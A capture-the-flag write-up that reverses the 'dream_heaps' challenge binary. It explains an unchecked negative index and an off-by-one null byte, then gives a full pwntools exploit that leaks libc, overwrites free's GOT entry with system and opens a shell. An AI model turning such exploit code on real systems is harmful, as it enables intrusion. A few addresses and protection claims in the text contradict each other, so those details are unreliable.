Dream Heap
This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.
$ file dream_heaps
dream_heaps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9968ee0656a4b24cb6bf5ebc1f8f37d4ddd0078d, not stripped
$ pwn checksec dream_heaps
[*] '/Hackery/swamp/dream/dream_heaps'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./dream_heaps
Online dream catcher! Write dreams down and come back to them later!
What would you like to do?
1: Write dream
2: Read dream
3: Edit dream
4: Delete dream
5: Quit
>
So we are given a libc file libc6.so
, and a 64
bit elf with no PIE or RELRO. The elf allows us to make dreams, read dreams, edit dreams, and delete dreams.
Reversing
When we look at the main function in ghidra, we see that it is essentially just a menu for the four different options:
void main(void)
{
long in_FS_OFFSET;
undefined4 menuOption;
undefined8 canary;
canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
menuOption = 0;
puts("Online dream catcher! Write dreams down and come back to them later!\n");
puts("What would you like to do?");
puts("1: Write dream");
puts("2: Read dream");
puts("3: Edit dream");
puts("4: Delete dream");
printf("5: Quit\n> ");
__isoc99_scanf(&DAT_00400b60,&menuOption);
switch(menuOption) {
default:
puts("Not an option!\n");
break;
case 1:
new_dream();
break;
case 2:
read_dream();
break;
case 3:
edit_dream();
break;
case 4:
delete_dream();
break;
case 5:
/* WARNING: Subroutine does not return */
exit(0);
}
When we look at the Ghidra pseudocode for the new_dream
function which allows us to write new dreams, we see this:
void new_dream(void)
{
long lVar1;
void *dreamPtr;
long in_FS_OFFSET;
int dreamLen;
long canary;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
dreamLen = 0;
puts("How long is your dream?");
__isoc99_scanf(&DAT_00400b60,&dreamLen);
dreamPtr = malloc((long)dreamLen);
puts("What are the contents of this dream?");
read(0,dreamPtr,(long)dreamLen);
*(void **)(HEAP_PTRS + (long)INDEX * 8) = dreamPtr;
*(int *)(SIZES + (long)INDEX * 4) = dreamLen;
INDEX = INDEX + 1;
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
return;
}
So for making a new dream, it first prompts us for a size. It then mallocs a space of memory equal to the size we gave it. It then let's us scan in as many bytes as we specified with the size. It then will save the heap pointer and the size of the space in the HEAP_PTRS
and SIZES
bss arrays at the addresses 0x6020a0
and 0x6020e0
(double click on the pointers in the assembly to see where they map to the bss). The index in the array will be equal to the value of INDEX
which is a bss integer stored at 0x60208c
. After this it will increment the value of INDEX
. Next up we have the read function:
void read_dream(void)
{
long lVar1;
long in_FS_OFFSET;
int index;
long canary;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which dream would you like to read?");
index = 0;
__isoc99_scanf(&DAT_00400b60,&index);
if (INDEX < index) {
puts("Hmm you skipped a few nights...");
else {
printf("%s",*(undefined8 *)(HEAP_PTRS + (long)index * 8));
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
return;
}
Here we can see that it prompts us for an index to HEAP_PTRS
, and first checks that it is not larger than INDEX
to prevent us from reading something past it. It will then grab a pointer from HEAP_PTRS
from the desired index, and print it. However there is a bug here. While it checks to make sure that we gave it an index smaller than or equal to INDEX
, it doesn't check to see if we gave it an index smaller than one. This bug will allow us to read something from memory before the start of the HEAP_PTRS
array in the bss. In addition to that since INDEX
is incremented after it adds a new value, it will be equal to the next dream that is allocated. Since it just checks to make sure our index isn't greater than INDEX
we can go past one spot for the end of the pointers in HEAP_PTRS
. Next up we have the edit_dream
function:
void edit_dream(void)
{
long lVar1;
long in_FS_OFFSET;
int index;
long canary;
void *ptr;
int size;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which dream would you like to change?");
index = 0;
__isoc99_scanf(&DAT_00400b60,&index);
if (INDEX < index) {
puts("You haven\'t had this dream yet...");
else {
ptr = *(void **)(HEAP_PTRS + (long)index * 8);
size = *(int *)(SIZES + (long)index * 4);
read(0,ptr,(long)size);
*(undefined *)((long)ptr + (long)size) = 0;
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
return;
}
So here it prompts us for an index, and has the same vulnerable index check from read_dream
. If the index check passes it will take the pointer stored in HEAP_PTRS
and the integer stored in SIZES
at the index you specified and allow you to write that many bytes to the pointer. After that it will null terminate the buffer by setting ptr + size
equal to 0x0
. However since arrays are zero index, it should be ptr + (size - 1)
and thus it gives us a single null byte overflow. The last function we'll look at closely is the delete_dream
function:
void delete_dream(void)
{
long lVar1;
long in_FS_OFFSET;
int index;
long canary;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which dream would you like to delete?");
index = 0;
__isoc99_scanf(&DAT_00400b60,&index);
if (INDEX < index) {
puts("Nope, you can\'t delete the future.");
else {
free(*(void **)(HEAP_PTRS + (long)index * 8));
*(undefined8 *)(HEAP_PTRS + (long)index * 8) = 0;
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
return;
}
So just like the read_dream
and edit_dream
functions, it prompts us for an index and runs a vulnerable check on it. If it passes, it will free the pointer in HEAP_PTRS
stored at that index and set it equal to 0 (so no use after free here). However it leaves the corresponding value in SIZES
behind.
Exploitation
So we have an index check bug with the read, edit, and free function. On top of that we have a single null byte overflow. We can use the index check bug in the read function to get a libc infoleak. After that we can use the index check bug with the edit function to get that got table overwrite. The intended solution was to use the single null byte overflow to cause heap consolidation, however this seems a bit easier.
For the libc infoleak, we will need a pointer to a pointer to a libc address. This is because with the dreams are stored in a 2D array. Luckily for us since there is no PIE we can just read an address from the got table (which is a table mapping various functions to their libc addresses). However first we will need an address to the got table, which we can find using gdb:
gef➤ p puts
$1 = {int (const char *)} 0x7ffff7a649c0 <_IO_puts>
gef➤ search-pattern 0x7ffff7a649c0
[+] Searching '0x7ffff7a649c0' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x602000-0x603000), permission=rw-
0x602020 - 0x602038 → "\xc0\x49\xa6\xf7\xff\x7f[...]"
gef➤ search-pattern 0x602020
[+] Searching '0x602020' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x400000-0x401000), permission=r-x
0x400538 - 0x400539 → "`"
Here we can see that the address 0x400538
will work for us. To leak the address we just need to read the dream at offset -263021
. This is because HEAP_PTRS
starts at 0x6020a0
and 0x6020a0 - 0x400538 = 0x201b68
and 0x201b68 / 8 = 263021
.
Now for the got overwrite, we can use a couple of things to exploit that. Firstly if we make enough dreams, they will overflow into the sizes. This is because there isn't a check for this, and SIZES
starts at 0x602080
and HEAP_PTRS
starts at 0x6020a0
. The difference between the two is 0x40
bytes, and since pointers are 0x8
bytes it will just be 8
pointers before we start overflowing them. In addition to that since ints are 4
bytes, the two will overlap nicely and end up being written behind the pointers. When we try making a lot of different dreams, we see that we can end up writing a pointer than can be reached by the edit_dream
function:
gef➤ x/30g 0x6020a0
0x6020a0 <HEAP_PTRS>: 0x00000000013ea020 0x00000000013ea040
0x6020b0 <HEAP_PTRS+16>: 0x00000000013ea070 0x00000000013ea0b0
0x6020c0 <HEAP_PTRS+32>: 0x00000000013ea100 0x00000000013ea160
0x6020d0 <HEAP_PTRS+48>: 0x00000000013ea1d0 0x00000000013ea250
0x6020e0 <SIZES>: 0x00000000013ea2e0 0x00000000013ea380
0x6020f0 <SIZES+16>: 0x00000000013ea430 0x00000000013ea4f0
0x602100: 0x00000000013ea5c0 0x00000000013ea6a0
0x602110: 0x00000000013ea790 0x00000011013ea890
0x602120: 0x0000003300000022 0x0000005500000044
0x602130: 0x0000007700000066 0x0000009900000088
0x602140: 0x000000bb000000aa 0x000000dd000000cc
0x602150: 0x00000000013eaac0 0x00000000013eab50
0x602160: 0x00000000013eac00 0x00000000013eacc0
0x602170: 0x00000000013ead90 0x00000000013eae70
0x602180: 0x0000000000000000 0x0000000000000000
The pointers are addresses like 0x13eaac0, and the sizes are the integers like 0x99 and 0x88. At 0x602128 (which would be at index 17) we can see would be a nice place to write a pointer with the sizes. This is not only because we control it with sizes, but when we edit a dream it will also grab a size from the SIZES array that we will need to be at least 0x8. If we choose index 17, it will grab the integer from 0x602124 which we also control it with the sizes. So by choosing the offset 17 to edit, by making dreams with certain sizes we can control both the address that is written to and the size.
Also for the function that we will be overwriting the got address of will be free
at 0x601fb0
. This is because it won't cause any real issues for us, and to get a shell we will just have to free a dream with the contents /bin/sh
:
$ objdump -R dream_heaps | grep free
0000000000602018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
Code
Putting it all together into our exploit, we get this. Also since our exploit relies on calling code from libc, it is dependent on which libc version you're using. If you're libc version is different then the one in the exploit, just swap out the file (check memory mappings in gdb to see which one you're using if this exploit doesn't work):
from pwn import *
target = process('./dream_heaps')
libc = ELF('libc-2.27.so') # If you have a different libc file, run it here
gdb.attach(target)
puts = 0x662f0
system = 0x3f630
offset = system - puts
def write(contents, size):
print target.recvuntil('> ')
target.sendline('1')
print target.recvuntil('dream?')
target.sendline(str(size))
print target.recvuntil('dream?')
target.send(contents)
def read(index):
print target.recvuntil('> ')
target.sendline('2')
print target.recvuntil('read?')
target.sendline(str(index))
leak = target.recvuntil("What")
leak = leak.replace("What", "")
leak = leak.replace("\x0a", "")
leak = leak + "\x00"*(8 - len(leak))
leak = u64(leak)
log.info("Leak is: " + hex(leak))
return leak
def edit(index, contents):
print target.recvuntil('> ')
target.sendline('3')
print target.recvuntil('change?')
target.sendline(str(index))
target.send(contents[:6])
def delete(index):
print target.recvuntil('> ')
target.sendline('4')
print target.recvuntil('delete?')
target.sendline(str(index))
# Get the libc infoleak via absuing index bug
puts = read(-263021)
libcBase = puts - libc.symbols['puts']
# Setup got table overwrite via an overflow
write('/bin/sh\x00', 0x10)
write('0'*10, 0x20)
write('0'*10, 0x30)
write('0'*10, 0x40)
write('0'*10, 0x50)
write('0'*10, 0x60)
write('0'*10, 0x70)
write('0'*10, 0x80)
write('0'*10, 0x90)
write('0'*10, 0xa0)
write('0'*10, 0xb0)
write('0'*10, 0xc0)
write('0'*10, 0xd0)
write('0'*10, 0xe0)
write('0'*10, 0xf0)
write('0'*10, 0x11)
write('0'*10, 0x22)
write('0'*10, 0x18)
write('0'*10, 0x602018)
write('0'*10, 00)
# Write libc address of system to got free address
edit(17, p64(libcBase + libc.symbols['system']))
# Free dream that points to `/bin/sh` to get a shell
delete(0)
target.interactive()
when we run it:
$ python exploit.py
[+] Starting local process './dream_heaps': pid 9062
[*] '/Hackery/pod/modules/index/swampctf19_dreamheaps/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] running in new terminal: /usr/bin/gdb -q "./dream_heaps" 9062 -x "/tmp/pwnjqPcIc.gdb"
[+] Waiting for debugger: Done
Online dream catcher! Write dreams down and come back to them later!
. . .
Which dream would you like to delete?
[*] Switching to interactive mode
$ w
22:17:41 up 1:47, 1 user, load average: 0.39, 0.45, 0.31
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 20:31 ?xdm? 3:50 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core dream_heaps exploit.py libc-2.27.so readme.md
Just like that, we captured the flag!